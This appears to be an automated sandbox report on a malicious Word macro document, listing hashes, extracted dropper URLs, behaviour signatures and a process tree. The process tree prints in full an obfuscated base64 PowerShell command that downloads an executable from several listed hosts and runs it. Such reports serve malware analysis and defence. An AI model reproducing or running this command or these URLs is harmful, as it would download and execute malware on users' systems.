Analysis

  • max time kernel
    120s
  • max time network
    126s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    01-02-2022 06:58

General

  • Target

    4f76cf4e36ca9219901c98b94ba2823a5b2f0e18f64f90dd735d7683003c7f0a.doc

  • Size

    203KB

  • MD5

    3c8c22e22e2aca1aa15f81138e6e7b8c

  • SHA1

    3c0da760e7872f4bbfba79c456f86442f7c09910

  • SHA256

    4f76cf4e36ca9219901c98b94ba2823a5b2f0e18f64f90dd735d7683003c7f0a

  • SHA512

    707d2d76896f7cb369f5eec96d3340f4af0a38842d4e2fa7c2819a33a9f3097132f08cf7d1e36a74fc67ba79361c6a33280defa2eabb7aefe2932d1b648a7a07

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://kasebbazar.com/wp-includes/KGbQIc/

exe.dropper

http://118.24.81.160/wp-includes/a3w/

exe.dropper

http://118.25.25.201:8081/wp-content/jzU/

exe.dropper

http://211.159.168.108/wp-content/uuZ6/

exe.dropper

http://demo.dichvutop.net/noithat12/JMQ3/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 3 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\4f76cf4e36ca9219901c98b94ba2823a5b2f0e18f64f90dd735d7683003c7f0a.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1636
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1596
    • C:\Windows\System32\WindowsPowerShell\v1.0\powersHeLl.exe
      powersHeLl -e JABKAF8AMwA0ADQAXwAyAD0AKAAnAE4AXwAnACsAJwBfAF8AMQBfACcAKQA7ACQAegBfAF8AXwBfADAAPQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAbAA2ADkAXwA5ADUAMQAwAD0AKAAnAGgAdAB0AHAAOgAvAC8AawBhAHMAZQAnACsAJwBiACcAKwAnAGIAYQB6AGEAcgAuAGMAJwArACcAbwBtAC8AdwBwAC0AJwArACcAaQAnACsAJwBuACcAKwAnAGMAJwArACcAbAB1AGQAJwArACcAZQBzAC8ASwBHAGIAUQBJAGMALwBAACcAKwAnAGgAdAB0AHAAJwArACcAOgAvAC8AMQAxADgALgAyADQALgA4ACcAKwAnADEALgAnACsAJwAxADYAJwArACcAMAAvAHcAcAAtAGkAbgAnACsAJwBjAGwAdQAnACsAJwBkACcAKwAnAGUAcwAvAGEAMwAnACsAJwB3AC8AQABoAHQAdAAnACsAJwBwADoALwAvADEAJwArACcAMQAnACsAJwA4AC4AMgAnACsAJwA1AC4AMgAnACsAJwA1ACcAKwAnAC4AMgAwADEAOgA4ACcAKwAnADAAOAAxAC8AdwBwAC0AYwBvACcAKwAnAG4AdABlAG4AdAAnACsAJwAvAGoAegBVAC8AQABoAHQAdAAnACsAJwBwADoALwAvADIAMQAxAC4AJwArACcAMQAnACsAJwA1ADkALgAnACsAJwAxADYAOAAnACsAJwAuADEAMAAnACsAJwA4AC8AJwArACcAdwBwACcAKwAnAC0AYwAnACsAJwBvAG4AdABlACcAKwAnAG4AdAAvAHUAdQBaADYALwBAAGgAdAB0AHAAOgAvAC8AZABlAG0AJwArACcAbwAuACcAKwAnAGQAaQBjACcAKwAnAGgAdgB1AHQAbwBwAC4AbgBlAHQALwBuACcAKwAnAG8AJwArACcAaQB0AGgAYQB0ACcAKwAnADEAMgAnACsAJwAvAEoATQBRADMALwAnACkALgBTAHAAbABpAHQAKAAnAEAAJwApADsAJABqADIANQBfAF8ANAA4AD0AKAAnAHMAJwArACcANwBfACcAKwAnADkAMABfAF8AJwApADsAJABXADMAMQBfADEAXwA2ADUAIAA9ACAAKAAnADUAOQAnACsAJwA3ACcAKQA7ACQAdwA1AF8AXwBfADIAPQAoACcAdwA5ADQAXwAnACsAJwBfADgAJwApADsAJABpADIAMAAxAF8AXwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAVwAzADEAXwAxAF8ANgA1ACsAKAAnAC4AZQB4ACcAKwAnAGUAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAegA5ADEAMgAzADEAXwAgAGkAbgAgACQAbAA2ADkAXwA5ADUAMQAwACkAewB0AHIAeQB7ACQAegBfAF8AXwBfADAALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAegA5ADEAMgAzADEAXwAsACAAJABpADIAMAAxAF8AXwApADsAJABLADIAXwA0ADkAXwAwAF8APQAoACcAcQA5ADAAMgAyACcAKwAnADUAOAAnACkAOwBJAGYAIAAoACgARwBlAHQALQBJAHQAZQBtACAAJABpADIAMAAxAF8AXwApAC4AbABlAG4AZwB0AGgAIAAtAGcAZQAgADQAMAAwADAAMAApACAAewBJAG4AdgBvAGsAZQAtAEkAdABlAG0AIAAkAGkAMgAwADEAXwBfADsAJABMAF8ANAA1ADAANQAyAD0AKAAnAE0AXwAnACsAJwA4ADcAMwBfADkAJwArACcAMAAnACkAOwBiAHIAZQBhAGsAOwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVwA0AF8AMwBfADYAPQAoACcAWABfACcAKwAnADgAXwA4ADEAJwApADsA
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1168

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • memory/1168-108-0x000007FEFC4A1000-0x000007FEFC4A3000-memory.dmp

      Filesize

      8KB

    • memory/1168-111-0x00000000024F2000-0x00000000024F4000-memory.dmp

      Filesize

      8KB

    • memory/1168-110-0x00000000024F0000-0x00000000024F2000-memory.dmp

      Filesize

      8KB

    • memory/1168-112-0x00000000024F4000-0x00000000024F7000-memory.dmp

      Filesize

      12KB

    • memory/1168-109-0x000007FEF3450000-0x000007FEF3FAD000-memory.dmp

      Filesize

      11.4MB

    • memory/1168-113-0x000000001B7A0000-0x000000001BA9F000-memory.dmp

      Filesize

      3.0MB

    • memory/1168-114-0x00000000024FB000-0x000000000251A000-memory.dmp

      Filesize

      124KB

    • memory/1636-55-0x0000000072EA1000-0x0000000072EA4000-memory.dmp

      Filesize

      12KB

    • memory/1636-56-0x0000000070921000-0x0000000070923000-memory.dmp

      Filesize

      8KB

    • memory/1636-57-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1636-58-0x0000000076921000-0x0000000076923000-memory.dmp

      Filesize

      8KB

    • memory/1636-116-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB